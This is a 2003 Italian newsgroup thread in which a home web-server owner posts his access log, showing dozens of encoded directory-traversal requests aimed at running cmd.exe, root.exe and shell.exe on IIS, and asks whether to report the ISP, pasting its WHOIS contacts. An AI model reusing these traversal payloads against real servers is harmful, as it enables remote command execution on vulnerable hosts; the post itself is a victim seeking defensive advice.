Newsgroup: it.comp.reti.ip-admin
Titolo: nel log del mio http server 2...

Premessa:
uso Windows Xp SP1 e come http web server uso Sun One WebServer (iPlanet) 6
SP5 (l'ultima versione)
Ho provato a disabilitare il nome del mio dominio (che non č altro che uno
di quegli indirizzi di rimando gratuiti come 
kickme.to/
 etc...) in modo che
nessuno possa accedere al mio server se non conoscendo il mio ip.
E cosa strana i tizi (a quanto pare di Palermo) che continuavano a mandarmi
richieste lunghe un centinaio di caratteri per (penso) sfruttare un
eventuale baco di buffer overflow, me li ritrovo anche ora che il server č
raggiungibile solo tramite numerini ip.
Ed eccovi che belle righe compaiono nel mio log:
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:49:04 +0200] "GET
/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 292 "-"
"Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:49:06 +0200] "GET
/..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 292 "-"
"Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:49:11 +0200] "GET
/_vti_bin/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 500 305 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:49:13 +0200] "GET
/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd
.exe?/c+dir+c: HTTP/1.1" 400 147 "-" "-"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:49:15 +0200] "GET
/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+di
r+c: HTTP/1.1" 400 147 "-" "-"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:49:21 +0200] "GET
/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/sy
stem32/cmd.exe?/c+dir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible;
Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:49:24 +0200] "GET
/_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/
c+dir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:49:29 +0200] "GET
/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+di
r+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:49:34 +0200] "GET
/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?
/c+dir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:49:36 +0200] "GET
/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:49:39 +0200] "GET
/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/
c+dir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:49:43 +0200] "GET
/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?
/c+dir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:49:56 +0200] "GET
/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+dir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:50:02 +0200] "GET
/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
?/c+dir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:50:08 +0200] "GET
/cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c
+dir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:50:10 +0200] "GET
/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/
c+dir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:50:21 +0200] "GET
/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?
/c+dir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:50:23 +0200] "GET
/iisadmpwd/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?
/c+dir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:51:06 +0200] "GET
/iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:51:22 +0200] "GET
/msadc/.%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 500 305 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:51:24 +0200] "GET
/MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 400 147 "-" "-"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:51:29 +0200] "GET
/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 400 147 "-" "-"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:51:32 +0200] "GET
/MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 400 147 "-" "-"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:51:37 +0200] "GET
/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 400 147 "-" "-"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:51:42 +0200] "GET
/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c
+dir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:51:44 +0200] "GET
/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+d
ir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:51:53 +0200] "GET
/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:51:55 +0200] "GET
/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:52:06 +0200] "GET
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:52:15 +0200] "GET
/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404
292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:52:25 +0200] "GET
/msadc/../%e0/%80/%af../../%e0/%80/%af../../%e0/%80/%af../winnt/system32/cmd
.exe/?/c/+dir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy
Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:52:27 +0200] "GET
/msdac/root.exe?/c+dir+c: HTTP/1.1" 500 305 "-" "Mozilla/3.0 (compatible;
Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:52:29 +0200] "GET
/msdac/shell.exe?/c+dir+c: HTTP/1.1" 500 305 "-" "Mozilla/3.0 (compatible;
Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:52:52 +0200] "GET
/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 400 147 "-" "-"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:52:57 +0200] "GET
/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1"
400 147 "-" "-"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:53:19 +0200] "GET
/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1"
404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:53:24 +0200] "GET
/Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1"
400 147 "-" "-"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:53:26 +0200] "GET
/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 147
"-" "-"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:53:28 +0200] "GET
/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:53:30 +0200] "GET
/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 292
"-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:53:33 +0200] "GET
/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/
c+dir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:53:32 +0200] "GET
/samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c
+dir+c: HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:53:38 +0200] "GET
/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 292 "-"
"Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:53:40 +0200] "GET
/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 500 305
"-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:53:45 +0200] "GET
/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:53:55 +0200] "GET
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 292
"-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:53:58 +0200] "GET
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 147 "-"
"-"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:54:00 +0200] "GET
/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:54:02 +0200] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 292 "-"
"Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:54:12 +0200] "GET
/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 147 "-"
"-"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:54:17 +0200] "GET
/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:
HTTP/1.1" 404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:54:20 +0200] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 292 "-"
"Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:54:22 +0200] "GET
/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 147 "-"
"-"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:54:45 +0200] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 292 "-"
"Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:54:47 +0200] "GET
/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 292 "-"
"Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:54:48 +0200] "GET
/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 400 147 "-"
"-"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:54:51 +0200] "GET
/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 292
"-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:54:55 +0200] "GET
/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404 292
"-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:55:00 +0200] "GET
/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 404
292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:55:05 +0200] "GET
/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1"
404 292 "-" "Mozilla/3.0 (compatible; Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:55:07 +0200] "GET
/scripts/root.exe?/c+dir+c: HTTP/1.1" 500 305 "-" "Mozilla/3.0 (compatible;
Indy Library)"
host50-11.pool80117.interbusiness.it
 - - [17/Apr/2003:04:55:17 +0200] "GET
/scripts/shell.exe?/c+dir+c: HTTP/1.1" 500 305 "-" "Mozilla/3.0 (compatible;
Indy Library)"
(scusate se ne ho postate cosě tante....)
Ma che diavolo fa? (č una domanda retorica....)
Ma secondo voi lo devo segnalare a qualcuno o lascio stare? Il mio server
intanto continua a dargli errori 404, 400, 500 quindi io non mi preoccupo.
Utilizzando NeoTrace son risalito al responsabile (almeno... penso) ed ecco
i risultati della ricerca:
domain: 
interbusiness.it
x400-domain: c=it; admd=0; prmd=interbusiness;
org: Telecom Italia S.p.A.
descr: InterBusiness
descr: Network Service Provider
admin-c: CD2-ITNIC
tech-c: FG82-ITNIC
tech-c: GLM2-ITNIC
postmaster: FG82-ITNIC
zone-c: DRS9-ITNIC
nserver: 151.99.125.2 
dns.interbusiness.it
nserver: 193.205.245.66 
dns3.nic.it
nserver: 151.99.250.2 
server-b.cs.interbusiness.it
nserver: 151.99.125.138 
dns.opb.interbusiness.it
remarks: Fully Managed
remarks: Please report Spam/Abuse only to 
ab...@interbusiness.it
mnt-by: INTERBUSINESS-MNT
created: before 19960129
expire: 20040129
changed: 
dom...@cgi.interbusiness.it
 20020426
source: IT-NIC
person: Camillo Di Vincenzo
address: Telecom Italia S.P.A.
address: Via Paolo Di Dono, 44
address: I-00143 Roma
address: Italy
phone: 
+39 06 36871
fax-no: 
+39 06 36871
e-mail: 
camillo.d...@telecomitalia.it
nic-hdl: CD2-ITNIC
changed: 
dom...@cgi.interbusiness.it
 20001115
source: IT-NIC
person: Fabio Ginocchi
address: Telecom Italia
address: Mercato Italia Clienti Top
address: Customer Care
address: Via Oriolo Romano, 257
address: I Roma
address: Italy
phone: +39 6 36879293
fax-no: +39 6 33659922
e-mail: 
gino...@cgi.interbusiness.it
nic-hdl: FG82-ITNIC
changed: 
dom...@cgi.interbusiness.it
 20001102
source: IT-NIC
person: Gian Luca Mattu
address: Telecom Italia SpA
address: Via Oriolo Romano, 257
address: I-00189 Roma (RM)
address: Ital
phone: +39 6 36871
fax-no: +39 6 36879182
e-mail: 
ma...@cgi.interbusiness.it
nic-hdl: GLM2-ITNIC
changed: 
dom...@cgi.interbusiness.it
 20021125
source: IT-NIC
person: Domain Registration Staff
address: Telecom Italia Spa
address: Centro Gestione InterBusiness
address: I Roma
address: Ita
phone: 
+39 06 36879293
fax-no: 
+39 06 36879182
e-mail: 
dom...@cgi.interbusiness.it
nic-hdl: DRS9-ITNIC
changed: 
dom...@cgi.interbusiness.it
 20030416
source: IT-NIC
Cosa mi consigliate? E' a uno di questi indirizzi che devo mandare la
richiesta di finirla di intasarmi il server?
Scusate ancora la grandezza del post. Giuro che non lo faccio piů.
Grazie,
Susa

 Scusate ancora la grandezza del post. Giuro che non lo faccio più.
Piu' che altro, vai su it.comp.sicurezza.unix, e' il luogo piu' adatto per
questi problemi.
bye G.L.
--
La logica non attiene alla verosimiglianza delle ipotesi,
ma alla coerenza delle tesi con le ipotesi.

Grazie mille.
Susa